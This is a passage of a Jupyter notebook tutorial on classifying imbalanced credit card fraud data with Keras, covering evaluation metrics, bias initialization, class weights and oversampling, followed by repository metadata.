tf.keras.initializers.Constant(output_bias)\n", " model = keras.Sequential([\n", " keras.layers.Dense(\n", " 16, activation='relu',\n", " input_shape=(train_features.shape[-1],)),\n", " keras.layers.Dropout(0.5),\n", " keras.layers.Dense(1, activation='sigmoid',\n", " bias_initializer=output_bias),\n", " ])\n", "\n", " model.compile(\n", " optimizer=keras.optimizers.Adam(learning_rate=1e-3),\n", " loss=keras.losses.BinaryCrossentropy(),\n", " metrics=metrics)\n", "\n", " return model" ] }, { "cell_type": "markdown", "metadata": { "id": "SU0GX6E6mieP" }, "source": [ "### Understanding useful metrics\n", "\n", "Notice that there are a few metrics defined above that can be computed by the model that will be helpful when evaluating the performance.\n", "\n", "\n", "\n", "* **False** negatives and **false** positives are samples that were **incorrectly** classified\n", "* **True** negatives and **true** positives are samples that were **correctly** classified\n", "* **Accuracy** is the percentage of examples correctly classified\n", "> $\\frac{\\text{true samples}}{\\text{total samples}}$\n", "* **Precision** is the percentage of **predicted** positives that were correctly classified\n", "> $\\frac{\\text{true positives}}{\\text{true positives + false positives}}$\n", "* **Recall** is the percentage of **actual** positives that were correctly classified\n", "> $\\frac{\\text{true positives}}{\\text{true positives + false negatives}}$\n", "* **AUC** refers to the Area Under the Curve of a Receiver Operating Characteristic curve (ROC-AUC). This metric is equal to the probability that a classifier will rank a random positive sample higher than a random negative sample.\n", "* **AUPRC** refers to Area Under the Curve of the Precision-Recall Curve. This metric computes precision-recall pairs for different probability thresholds. \n", "\n", "Note: Accuracy is not a helpful metric for this task. You can have 99.8%+ accuracy on this task by predicting False all the time. \n", "\n", "Read more:\n", "* [True vs. False and Positive vs. Negative](https://developers.google.com/machine-learning/crash-course/classification/true-false-positive-negative)\n", "* [Accuracy](https://developers.google.com/machine-learning/crash-course/classification/accuracy)\n", "* [Precision and Recall](https://developers.google.com/machine-learning/crash-course/classification/precision-and-recall)\n", "* [ROC-AUC](https://developers.google.com/machine-learning/crash-course/classification/roc-and-auc)\n", "* [Relationship between Precision-Recall and ROC Curves](https://www.biostat.wisc.edu/~page/rocpr.pdf)" ] }, { "cell_type": "markdown", "metadata": { "id": "FYdhSAoaF_TK" }, "source": [ "## Baseline model" ] }, { "cell_type": "markdown", "metadata": { "id": "IDbltVPg2m2q" }, "source": [ "### Build the model\n", "\n", "Now create and train your model using the function that was defined earlier. Notice that the model is fit using a larger than default batch size of 2048, this is important to ensure that each batch has a decent chance of containing a few positive samples. If the batch size was too small, they would likely have no fraudulent transactions to learn from.\n", "\n", "\n", "Note: this model will not handle the class imbalance well. You will improve it later in this tutorial." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "ouUkwPcGQsy3" }, "outputs": [], "source": [ "EPOCHS = 100\n", "BATCH_SIZE = 2048\n", "\n", "early_stopping = tf.keras.callbacks.EarlyStopping(\n", " monitor='val_prc', \n", " verbose=1,\n", " patience=10,\n", " mode='max',\n", " restore_best_weights=True)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "1xlR_dekzw7C" }, "outputs": [], "source": [ "model = make_model()\n", "model.summary()" ] }, { "cell_type": "markdown", "metadata": { "id": "Wx7ND3_SqckO" }, "source": [ "Test run the model:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "LopSd-yQqO3a" }, "outputs": [], "source": [ "model.predict(train_features[:10])" ] }, { "cell_type": "markdown", "metadata": { "id": "YKIgWqHms_03" }, "source": [ "### Optional: Set the correct initial bias." ] }, { "cell_type": "markdown", "metadata": { "id": "qk_3Ry6EoYDq" }, "source": [ "These initial guesses are not great. You know the dataset is imbalanced. Set the output layer's bias to reflect that (See: [A Recipe for Training Neural Networks: \"init well\"](http://karpathy.github.io/2019/04/25/recipe/#2-set-up-the-end-to-end-trainingevaluation-skeleton--get-dumb-baselines)). This can help with initial convergence." ] }, { "cell_type": "markdown", "metadata": { "id": "PdbfWDuVpo6k" }, "source": [ "With the default bias initialization the loss should be about `math.log(2) = 0.69314` " ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "H-oPqh3SoGXk" }, "outputs": [], "source": [ "results = model.evaluate(train_features, train_labels, batch_size=BATCH_SIZE, verbose=0)\n", "print(\"Loss: {:0.4f}\".format(results[0]))" ] }, { "cell_type": "markdown", "metadata": { "id": "hE-JRzfKqfhB" }, "source": [ "The correct bias to set can be derived from:\n", "\n", "$$ p_0 = pos/(pos + neg) = 1/(1+e^{-b_0}) $$\n", "$$ b_0 = -log_e(1/p_0 - 1) $$\n", "$$ b_0 = log_e(pos/neg)$$" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "F5KWPSjjstUS" }, "outputs": [], "source": [ "initial_bias = np.log([pos/neg])\n", "initial_bias" ] }, { "cell_type": "markdown", "metadata": { "id": "d1juXI9yY1KD" }, "source": [ "Set that as the initial bias, and the model will give much more reasonable initial guesses. \n", "\n", "It should be near: `pos/total = 0.0018`" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "50oyu1uss0i-" }, "outputs": [], "source": [ "model = make_model(output_bias=initial_bias)\n", "model.predict(train_features[:10])" ] }, { "cell_type": "markdown", "metadata": { "id": "4xqFYb2KqRHQ" }, "source": [ "With this initialization the initial loss should be approximately:\n", "\n", "$$-p_0log(p_0)-(1-p_0)log(1-p_0) = 0.01317$$" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "xVDqCWXDqHSc" }, "outputs": [], "source": [ "results = model.evaluate(train_features, train_labels, batch_size=BATCH_SIZE, verbose=0)\n", "print(\"Loss: {:0.4f}\".format(results[0]))" ] }, { "cell_type": "markdown", "metadata": { "id": "FrDC8hvNr9yw" }, "source": [ "This initial loss is about 50 times less than if would have been with naive initialization.\n", "\n", "This way the model doesn't need to spend the first few epochs just learning that positive examples are unlikely. This also makes it easier to read plots of the loss during training." ] }, { "cell_type": "markdown", "metadata": { "id": "0EJj9ixKVBMT" }, "source": [ "### Checkpoint the initial weights\n", "\n", "To make the various training runs more comparable, keep this initial model's weights in a checkpoint file, and load them into each model before training:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "_tSUm4yAVIif" }, "outputs": [], "source": [ "initial_weights = os.path.join(tempfile.mkdtemp(), 'initial_weights')\n", "model.save_weights(initial_weights)" ] }, { "cell_type": "markdown", "metadata": { "id": "EVXiLyqyZ8AX" }, "source": [ "### Confirm that the bias fix helps\n", "\n", "Before moving on, confirm quick that the careful bias initialization actually helped.\n", "\n", "Train the model for 20 epochs, with and without this careful initialization, and compare the losses: " ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "Dm4-4K5RZ63Q" }, "outputs": [], "source": [ "model = make_model()\n", "model.load_weights(initial_weights)\n", "model.layers[-1].bias.assign([0.0])\n", "zero_bias_history = model.fit(\n", " train_features,\n", " train_labels,\n", " batch_size=BATCH_SIZE,\n", " epochs=20,\n", " validation_data=(val_features, val_labels), \n", " verbose=0)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "j8DsLXHQaSql" }, "outputs": [], "source": [ "model = make_model()\n", "model.load_weights(initial_weights)\n", "careful_bias_history = model.fit(\n", " train_features,\n", " train_labels,\n", " batch_size=BATCH_SIZE,\n", " epochs=20,\n", " validation_data=(val_features, val_labels), \n", " verbose=0)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "E3XsMBjhauFV" }, "outputs": [], "source": [ "def plot_loss(history, label, n):\n", " # Use a log scale on y-axis to show the wide range of values.\n", " plt.semilogy(history.epoch, history.history['loss'],\n", " color=colors[n], label='Train ' + label)\n", " plt.semilogy(history.epoch, history.history['val_loss'],\n", " color=colors[n], label='Val ' + label,\n", " linestyle=\"--\")\n", " plt.xlabel('Epoch')\n", " plt.ylabel('Loss')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "dxFaskm7beC7" }, "outputs": [], "source": [ "plot_loss(zero_bias_history, \"Zero Bias\", 0)\n", "plot_loss(careful_bias_history, \"Careful Bias\", 1)" ] }, { "cell_type": "markdown", "metadata": { "id": "fKMioV0ddG3R" }, "source": [ "The above figure makes it clear: In terms of validation loss, on this problem, this careful initialization gives a clear advantage. " ] }, { "cell_type": "markdown", "metadata": { "id": "RsA_7SEntRaV" }, "source": [ "### Train the model" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "yZKAc8NCDnoR" }, "outputs": [], "source": [ "model = make_model()\n", "model.load_weights(initial_weights)\n", "baseline_history = model.fit(\n", " train_features,\n", " train_labels,\n", " batch_size=BATCH_SIZE,\n", " epochs=EPOCHS,\n", " callbacks=[early_stopping],\n", " validation_data=(val_features, val_labels))" ] }, { "cell_type": "markdown", "metadata": { "id": "iSaDBYU9xtP6" }, "source": [ "### Check training history\n", "\n", "In this section, you will produce plots of your model's accuracy and loss on the training and validation set. These are useful to check for overfitting, which you can learn more about in the [Overfit and underfit](https://www.tensorflow.org/tutorials/keras/overfit_and_underfit) tutorial.\n", "\n", "Additionally, you can produce these plots for any of the metrics you created above. False negatives are included as an example." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "WTSkhT1jyGu6" }, "outputs": [], "source": [ "def plot_metrics(history):\n", " metrics = ['loss', 'prc', 'precision', 'recall']\n", " for n, metric in enumerate(metrics):\n", " name = metric.replace(\"_\",\" \").capitalize()\n", " plt.subplot(2,2,n+1)\n", " plt.plot(history.epoch, history.history[metric], color=colors[0], label='Train')\n", " plt.plot(history.epoch, history.history['val_'+metric],\n", " color=colors[0], linestyle=\"--\", label='Val')\n", " plt.xlabel('Epoch')\n", " plt.ylabel(name)\n", " if metric == 'loss':\n", " plt.ylim([0, plt.ylim()[1]])\n", " elif metric == 'auc':\n", " plt.ylim([0.8,1])\n", " else:\n", " plt.ylim([0,1])\n", "\n", " plt.legend();" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "u6LReDsqlZlk" }, "outputs": [], "source": [ "plot_metrics(baseline_history)" ] }, { "cell_type": "markdown", "metadata": { "id": "UCa4iWo6WDKR" }, "source": [ "Note: That the validation curve generally performs better than the training curve. This is mainly caused by the fact that the dropout layer is not active when evaluating the model." ] }, { "cell_type": "markdown", "metadata": { "id": "aJC1booryouo" }, "source": [ "### Evaluate metrics\n", "\n", "You can use a [confusion matrix](https://developers.google.com/machine-learning/glossary/#confusion_matrix) to summarize the actual vs. predicted labels, where the X axis is the predicted label and the Y axis is the actual label:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "aNS796IJKrev" }, "outputs": [], "source": [ "train_predictions_baseline = model.predict(train_features, batch_size=BATCH_SIZE)\n", "test_predictions_baseline = model.predict(test_features, batch_size=BATCH_SIZE)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "MVWBGfADwbWI" }, "outputs": [], "source": [ "def plot_cm(labels, predictions, p=0.5):\n", " cm = confusion_matrix(labels, predictions > p)\n", " plt.figure(figsize=(5,5))\n", " sns.heatmap(cm, annot=True, fmt=\"d\")\n", " plt.title('Confusion matrix @{:.2f}'.format(p))\n", " plt.ylabel('Actual label')\n", " plt.xlabel('Predicted label')\n", "\n", " print('Legitimate Transactions Detected (True Negatives): ', cm[0][0])\n", " print('Legitimate Transactions Incorrectly Detected (False Positives): ', cm[0][1])\n", " print('Fraudulent Transactions Missed (False Negatives): ', cm[1][0])\n", " print('Fraudulent Transactions Detected (True Positives): ', cm[1][1])\n", " print('Total Fraudulent Transactions: ', np.sum(cm[1]))" ] }, { "cell_type": "markdown", "metadata": { "id": "nOTjD5Z5Wp1U" }, "source": [ "Evaluate your model on the test dataset and display the results for the metrics you created above:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "poh_hZngt2_9" }, "outputs": [], "source": [ "baseline_results = model.evaluate(test_features, test_labels,\n", " batch_size=BATCH_SIZE, verbose=0)\n", "for name, value in zip(model.metrics_names, baseline_results):\n", " print(name, ': ', value)\n", "print()\n", "\n", "plot_cm(test_labels, test_predictions_baseline)" ] }, { "cell_type": "markdown", "metadata": { "id": "PyZtSr1v6L4t" }, "source": [ "If the model had predicted everything perfectly, this would be a [diagonal matrix](https://en.wikipedia.org/wiki/Diagonal_matrix) where values off the main diagonal, indicating incorrect predictions, would be zero. In this case the matrix shows that you have relatively few false positives, meaning that there were relatively few legitimate transactions that were incorrectly flagged. However, you would likely want to have even fewer false negatives despite the cost of increasing the number of false positives. This trade off may be preferable because false negatives would allow fraudulent transactions to go through, whereas false positives may cause an email to be sent to a customer to ask them to verify their card activity." ] }, { "cell_type": "markdown", "metadata": { "id": "P-QpQsip_F2Q" }, "source": [ "### Plot the ROC\n", "\n", "Now plot the [ROC](https://developers.google.com/machine-learning/glossary#ROC). This plot is useful because it shows, at a glance, the range of performance the model can reach just by tuning the output threshold." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "lhaxsLSvANF9" }, "outputs": [], "source": [ "def plot_roc(name, labels, predictions, **kwargs):\n", " fp, tp, _ = sklearn.metrics.roc_curve(labels, predictions)\n", "\n", " plt.plot(100*fp, 100*tp, label=name, linewidth=2, **kwargs)\n", " plt.xlabel('False positives [%]')\n", " plt.ylabel('True positives [%]')\n", " plt.xlim([-0.5,20])\n", " plt.ylim([80,100.5])\n", " plt.grid(True)\n", " ax = plt.gca()\n", " ax.set_aspect('equal')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "DfHHspttKJE0" }, "outputs": [], "source": [ "plot_roc(\"Train Baseline\", train_labels, train_predictions_baseline, color=colors[0])\n", "plot_roc(\"Test Baseline\", test_labels, test_predictions_baseline, color=colors[0], linestyle='--')\n", "plt.legend(loc='lower right');" ] }, { "cell_type": "markdown", "metadata": { "id": "Y5twGRLfNwmO" }, "source": [ "### Plot the AUPRC\r\n", "\n", "Now plot the [AUPRC](https://developers.google.com/machine-learning/glossary?hl=en#PR_AUC). Area under the interpolated precision-recall curve, obtained by plotting (recall, precision) points for different values of the classification threshold. Depending on how it's calculated, PR AUC may be equivalent to the average precision of the model.\r\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "XV6JSlFGEqGI" }, "outputs": [], "source": [ "def plot_prc(name, labels, predictions, **kwargs):\r\n", " precision, recall, _ = sklearn.metrics.precision_recall_curve(labels, predictions)\r\n", "\r\n", " plt.plot(precision, recall, label=name, linewidth=2, **kwargs)\r\n", " plt.xlabel('Precision')\r\n", " plt.ylabel('Recall')\r\n", " plt.grid(True)\r\n", " ax = plt.gca()\r\n", " ax.set_aspect('equal')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "FdQs_PcqEsiL" }, "outputs": [], "source": [ "plot_prc(\"Train Baseline\", train_labels, train_predictions_baseline, color=colors[0])\r\n", "plot_prc(\"Test Baseline\", test_labels, test_predictions_baseline, color=colors[0], linestyle='--')\r\n", "plt.legend(loc='lower right');" ] }, { "cell_type": "markdown", "metadata": { "id": "gpdsFyp64DhY" }, "source": [ "It looks like the precision is relatively high, but the recall and the area under the ROC curve (AUC) aren't as high as you might like. Classifiers often face challenges when trying to maximize both precision and recall, which is especially true when working with imbalanced datasets. It is important to consider the costs of different types of errors in the context of the problem you care about. In this example, a false negative (a fraudulent transaction is missed) may have a financial cost, while a false positive (a transaction is incorrectly flagged as fraudulent) may decrease user happiness." ] }, { "cell_type": "markdown", "metadata": { "id": "cveQoiMyGQCo" }, "source": [ "## Class weights" ] }, { "cell_type": "markdown", "metadata": { "id": "ePGp6GUE1WfH" }, "source": [ "### Calculate class weights\n", "\n", "The goal is to identify fraudulent transactions, but you don't have very many of those positive samples to work with, so you would want to have the classifier heavily weight the few examples that are available. You can do this by passing Keras weights for each class through a parameter. These will cause the model to \"pay more attention\" to examples from an under-represented class." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "qjGWErngGny7" }, "outputs": [], "source": [ "# Scaling by total/2 helps keep the loss to a similar magnitude.\n", "# The sum of the weights of all examples stays the same.\n", "weight_for_0 = (1 / neg) * (total / 2.0)\n", "weight_for_1 = (1 / pos) * (total / 2.0)\n", "\n", "class_weight = {0: weight_for_0, 1: weight_for_1}\n", "\n", "print('Weight for class 0: {:.2f}'.format(weight_for_0))\n", "print('Weight for class 1: {:.2f}'.format(weight_for_1))" ] }, { "cell_type": "markdown", "metadata": { "id": "Mk1OOE2ZSHzy" }, "source": [ "### Train a model with class weights\n", "\n", "Now try re-training and evaluating the model with class weights to see how that affects the predictions.\n", "\n", "Note: Using `class_weights` changes the range of the loss. This may affect the stability of the training depending on the optimizer. Optimizers whose step size is dependent on the magnitude of the gradient, like `tf.keras.optimizers.SGD`, may fail. The optimizer used here, `tf.keras.optimizers.Adam`, is unaffected by the scaling change. Also note that because of the weighting, the total losses are not comparable between the two models." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "UJ589fn8ST3x" }, "outputs": [], "source": [ "weighted_model = make_model()\n", "weighted_model.load_weights(initial_weights)\n", "\n", "weighted_history = weighted_model.fit(\n", " train_features,\n", " train_labels,\n", " batch_size=BATCH_SIZE,\n", " epochs=EPOCHS,\n", " callbacks=[early_stopping],\n", " validation_data=(val_features, val_labels),\n", " # The class weights go here\n", " class_weight=class_weight) " ] }, { "cell_type": "markdown", "metadata": { "id": "R0ynYRO0G3Lx" }, "source": [ "### Check training history" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "BBe9FMO5ucTC" }, "outputs": [], "source": [ "plot_metrics(weighted_history)" ] }, { "cell_type": "markdown", "metadata": { "id": "REy6WClTZIwQ" }, "source": [ "### Evaluate metrics" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "nifqscPGw-5w" }, "outputs": [], "source": [ "train_predictions_weighted = weighted_model.predict(train_features, batch_size=BATCH_SIZE)\n", "test_predictions_weighted = weighted_model.predict(test_features, batch_size=BATCH_SIZE)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "owKL2vdMBJr6" }, "outputs": [], "source": [ "weighted_results = weighted_model.evaluate(test_features, test_labels,\n", " batch_size=BATCH_SIZE, verbose=0)\n", "for name, value in zip(weighted_model.metrics_names, weighted_results):\n", " print(name, ': ', value)\n", "print()\n", "\n", "plot_cm(test_labels, test_predictions_weighted)" ] }, { "cell_type": "markdown", "metadata": { "id": "PTh1rtDn8r4-" }, "source": [ "Here you can see that with class weights the accuracy and precision are lower because there are more false positives, but conversely the recall and AUC are higher because the model also found more true positives. Despite having lower accuracy, this model has higher recall (and identifies more fraudulent transactions). Of course, there is a cost to both types of error (you wouldn't want to bug users by flagging too many legitimate transactions as fraudulent, either). Carefully consider the trade-offs between these different types of errors for your application." ] }, { "cell_type": "markdown", "metadata": { "id": "hXDAwyr0HYdX" }, "source": [ "### Plot the ROC" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "3hzScIVZS1Xm" }, "outputs": [], "source": [ "plot_roc(\"Train Baseline\", train_labels, train_predictions_baseline, color=colors[0])\n", "plot_roc(\"Test Baseline\", test_labels, test_predictions_baseline, color=colors[0], linestyle='--')\n", "\n", "plot_roc(\"Train Weighted\", train_labels, train_predictions_weighted, color=colors[1])\n", "plot_roc(\"Test Weighted\", test_labels, test_predictions_weighted, color=colors[1], linestyle='--')\n", "\n", "\n", "plt.legend(loc='lower right');" ] }, { "cell_type": "markdown", "metadata": { "id": "_0krS8g1OTbD" }, "source": [ "### Plot the AUPRC" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "7jHnmVebOWOC" }, "outputs": [], "source": [ "plot_prc(\"Train Baseline\", train_labels, train_predictions_baseline, color=colors[0])\r\n", "plot_prc(\"Test Baseline\", test_labels, test_predictions_baseline, color=colors[0], linestyle='--')\r\n", "\r\n", "plot_prc(\"Train Weighted\", train_labels, train_predictions_weighted, color=colors[1])\r\n", "plot_prc(\"Test Weighted\", test_labels, test_predictions_weighted, color=colors[1], linestyle='--')\r\n", "\r\n", "\r\n", "plt.legend(loc='lower right');" ] }, { "cell_type": "markdown", "metadata": { "id": "5ysRtr6xHnXP" }, "source": [ "## Oversampling" ] }, { "cell_type": "markdown", "metadata": { "id": "18VUHNc-UF5w" }, "source": [ "### Oversample the minority class\n", "\n", "A related approach would be to resample the dataset by oversampling the minority class." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "sHirNp6u7OWp" }, "outputs": [], "source": [ "pos_features = train_features[bool_train_labels]\n", "neg_features = train_features[~bool_train_labels]\n", "\n", "pos_labels = train_labels[bool_train_labels]\n", "neg_labels = train_labels[~bool_train_labels]" ] }, { "cell_type": "markdown", "metadata": { "id": "WgBVbX7P7QrL" }, "source": [ "#### Using NumPy\n", "\n", "You can balance the dataset manually by choosing the right number of random \n", "indices from the positive examples:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "BUzGjSkwqT88" }, "outputs": [], "source": [ "ids = np.arange(len(pos_features))\n", "choices = np.random.choice(ids, len(neg_features))\n", "\n", "res_pos_features = pos_features[choices]\n", "res_pos_labels = pos_labels[choices]\n", "\n", "res_pos_features.shape" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "7ie_FFet6cep" }, "outputs": [], "source": [ "resampled_features = np.concatenate([res_pos_features, neg_features], axis=0)\n", "resampled_labels = np.concatenate([res_pos_labels, neg_labels], axis=0)\n", "\n", "order = np.arange(len(resampled_labels))\n", "np.random.shuffle(order)\n", "resampled_features = resampled_features[order]\n", "resampled_labels = resampled_labels[order]\n", "\n", "resampled_features.shape" ] }, { "cell_type": "markdown", "metadata": { "id": "IYfJe2Kc-FAz" }, "source": [ "#### Using `tf.data`" ] }, { "cell_type": "markdown", "metadata": { "id": "usyixaST8v5P" }, "source": [ "If you're using `tf.data` the easiest way to produce balanced examples is to start with a `positive` and a `negative` dataset, and merge them. See [the tf.data guide](../../guide/data.ipynb) for more examples." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "yF4OZ-rI6xb6" }, "outputs": [], "source": [ "BUFFER_SIZE = 100000\n", "\n", "def make_ds(features, labels):\n", " ds = tf.data.Dataset.from_tensor_slices((features, labels))#.cache()\n", " ds = ds.shuffle(BUFFER_SIZE).repeat()\n", " return ds\n", "\n", "pos_ds = make_ds(pos_features, pos_labels)\n", "neg_ds = make_ds(neg_features, neg_labels)" ] }, { "cell_type": "markdown", "metadata": { "id": "RNQUx-OA-oJc" }, "source": [ "Each dataset provides `(feature, label)` pairs:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "llXc9rNH7Fbz" }, "outputs": [], "source": [ "for features, label in pos_ds.take(1):\n", " print(\"Features:\\n\", features.numpy())\n", " print()\n", " print(\"Label: \", label.numpy())" ] }, { "cell_type": "markdown", "metadata": { "id": "sLEfjZO0-vbN" }, "source": [ "Merge the two together using `tf.data.Dataset.sample_from_datasets`:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "e7w9UQPT9wzE" }, "outputs": [], "source": [ "resampled_ds = tf.data.Dataset.sample_from_datasets([pos_ds, neg_ds], weights=[0.5, 0.5])\n", "resampled_ds = resampled_ds.batch(BATCH_SIZE).prefetch(2)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "EWXARdTdAuQK" }, "outputs": [], "source": [ "for features, label in resampled_ds.take(1):\n", " print(label.numpy().mean())" ] }, { "cell_type": "markdown", "metadata": { "id": "irgqf3YxAyN0" }, "source": [ "To use this dataset, you'll need the number of steps per epoch.\n", "\n", "The definition of \"epoch\" in this case is less clear. Say it's the number of batches required to see each negative example once:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "xH-7K46AAxpq" }, "outputs": [], "source": [ "resampled_steps_per_epoch = np.ceil(2.0*neg/BATCH_SIZE)\n", "resampled_steps_per_epoch" ] }, { "cell_type": "markdown", "metadata": { "id": "XZ1BvEpcBVHP" }, "source": [ "### Train on the oversampled data\n", "\n", "Now try training the model with the resampled data set instead of using class weights to see how these methods compare.\n", "\n", "Note: Because the data was balanced by replicating the positive examples, the total dataset size is larger, and each epoch runs for more training steps. " ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "soRQ89JYqd6b" }, "outputs": [], "source": [ "resampled_model = make_model()\n", "resampled_model.load_weights(initial_weights)\n", "\n", "# Reset the bias to zero, since this dataset is balanced.\n", "output_layer = resampled_model.layers[-1] \n", "output_layer.bias.assign([0])\n", "\n", "val_ds = tf.data.Dataset.from_tensor_slices((val_features, val_labels)).cache()\n", "val_ds = val_ds.batch(BATCH_SIZE).prefetch(2) \n", "\n", "resampled_history = resampled_model.fit(\n", " resampled_ds,\n", " epochs=EPOCHS,\n", " steps_per_epoch=resampled_steps_per_epoch,\n", " callbacks=[early_stopping],\n", " validation_data=val_ds)" ] }, { "cell_type": "markdown", "metadata": { "id": "avALvzUp3T_c" }, "source": [ "If the training process were considering the whole dataset on each gradient update, this oversampling would be basically identical to the class weighting.\n", "\n", "But when training the model batch-wise, as you did here, the oversampled data provides a smoother gradient signal: Instead of each positive example being shown in one batch with a large weight, they're shown in many different batches each time with a small weight. \n", "\n", "This smoother gradient signal makes it easier to train the model." ] }, { "cell_type": "markdown", "metadata": { "id": "klHZ0HV76VC5" }, "source": [ "### Check training history\n", "\n", "Note that the distributions of metrics will be different here, because the training data has a totally different distribution from the validation and test data. " ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "YoUGfr1vuivl" }, "outputs": [], "source": [ "plot_metrics(resampled_history)" ] }, { "cell_type": "markdown", "metadata": { "id": "1PuH3A2vnwrh" }, "source": [ "### Re-train\n" ] }, { "cell_type": "markdown", "metadata": { "id": "KFLxRL8eoDE5" }, "source": [ "Because training is easier on the balanced data, the above training procedure may overfit quickly. \n", "\n", "So break up the epochs to give the `tf.keras.callbacks.EarlyStopping` finer control over when to stop training." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "e_yn9I26qAHU" }, "outputs": [], "source": [ "resampled_model = make_model()\n", "resampled_model.load_weights(initial_weights)\n", "\n", "# Reset the bias to zero, since this dataset is balanced.\n", "output_layer = resampled_model.layers[-1] \n", "output_layer.bias.assign([0])\n", "\n", "resampled_history = resampled_model.fit(\n", " resampled_ds,\n", " # These are not real epochs\n", " steps_per_epoch=20,\n", " epochs=10*EPOCHS,\n", " callbacks=[early_stopping],\n", " validation_data=(val_ds))" ] }, { "cell_type": "markdown", "metadata": { "id": "UuJYKv0gpBK1" }, "source": [ "### Re-check training history" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "FMycrpJwn39w" }, "outputs": [], "source": [ "plot_metrics(resampled_history)" ] }, { "cell_type": "markdown", "metadata": { "id": "bUuE5HOWZiwP" }, "source": [ "### Evaluate metrics" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "C0fmHSgXxFdW" }, "outputs": [], "source": [ "train_predictions_resampled = resampled_model.predict(train_features, batch_size=BATCH_SIZE)\n", "test_predictions_resampled = resampled_model.predict(test_features, batch_size=BATCH_SIZE)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "FO0mMOYUDWFk" }, "outputs": [], "source": [ "resampled_results = resampled_model.evaluate(test_features, test_labels,\n", " batch_size=BATCH_SIZE, verbose=0)\n", "for name, value in zip(resampled_model.metrics_names, resampled_results):\n", " print(name, ': ', value)\n", "print()\n", "\n", "plot_cm(test_labels, test_predictions_resampled)" ] }, { "cell_type": "markdown", "metadata": { "id": "_xYozM1IIITq" }, "source": [ "### Plot the ROC" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "fye_CiuYrZ1U" }, "outputs": [], "source": [ "plot_roc(\"Train Baseline\", train_labels, train_predictions_baseline, color=colors[0])\n", "plot_roc(\"Test Baseline\", test_labels, test_predictions_baseline, color=colors[0], linestyle='--')\n", "\n", "plot_roc(\"Train Weighted\", train_labels, train_predictions_weighted, color=colors[1])\n", "plot_roc(\"Test Weighted\", test_labels, test_predictions_weighted, color=colors[1], linestyle='--')\n", "\n", "plot_roc(\"Train Resampled\", train_labels, train_predictions_resampled, color=colors[2])\n", "plot_roc(\"Test Resampled\", test_labels, test_predictions_resampled, color=colors[2], linestyle='--')\n", "plt.legend(loc='lower right');" ] }, { "cell_type": "markdown", "metadata": { "id": "vayGnv0VOe_v" }, "source": [ "### Plot the AUPRC\r\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "wgWXQ8aeOhCZ" }, "outputs": [], "source": [ "plot_prc(\"Train Baseline\", train_labels, train_predictions_baseline, color=colors[0])\r\n", "plot_prc(\"Test Baseline\", test_labels, test_predictions_baseline, color=colors[0], linestyle='--')\r\n", "\r\n", "plot_prc(\"Train Weighted\", train_labels, train_predictions_weighted, color=colors[1])\r\n", "plot_prc(\"Test Weighted\", test_labels, test_predictions_weighted, color=colors[1], linestyle='--')\r\n", "\r\n", "plot_prc(\"Train Resampled\", train_labels, train_predictions_resampled, color=colors[2])\r\n", "plot_prc(\"Test Resampled\", test_labels, test_predictions_resampled, color=colors[2], linestyle='--')\r\n", "plt.legend(loc='lower right');" ] }, { "cell_type": "markdown", "metadata": { "id": "3o3f0ywl8uqW" }, "source": [ "## Applying this tutorial to your problem\n", "\n", "Imbalanced data classification is an inherently difficult task since there are so few samples to learn from. You should always start with the data first and do your best to collect as many samples as possible and give substantial thought to what features may be relevant so the model can get the most out of your minority class. At some point your model may struggle to improve and yield the results you want, so it is important to keep in mind the context of your problem and the trade offs between different types of errors." ] } ], "metadata": { "colab": { "collapsed_sections": [], "name": "imbalanced_data.ipynb", "toc_visible": true }, "kernelspec": { "display_name": "Python 3", "name": "python3" } }, "nbformat": 4, "nbformat_minor": 0 }

apache-2.0

GoogleCloudPlatform/vertex-ai-samples

notebooks/community/matching_engine/sdk_matching_engine_for_indexing.ipynb

1

45867

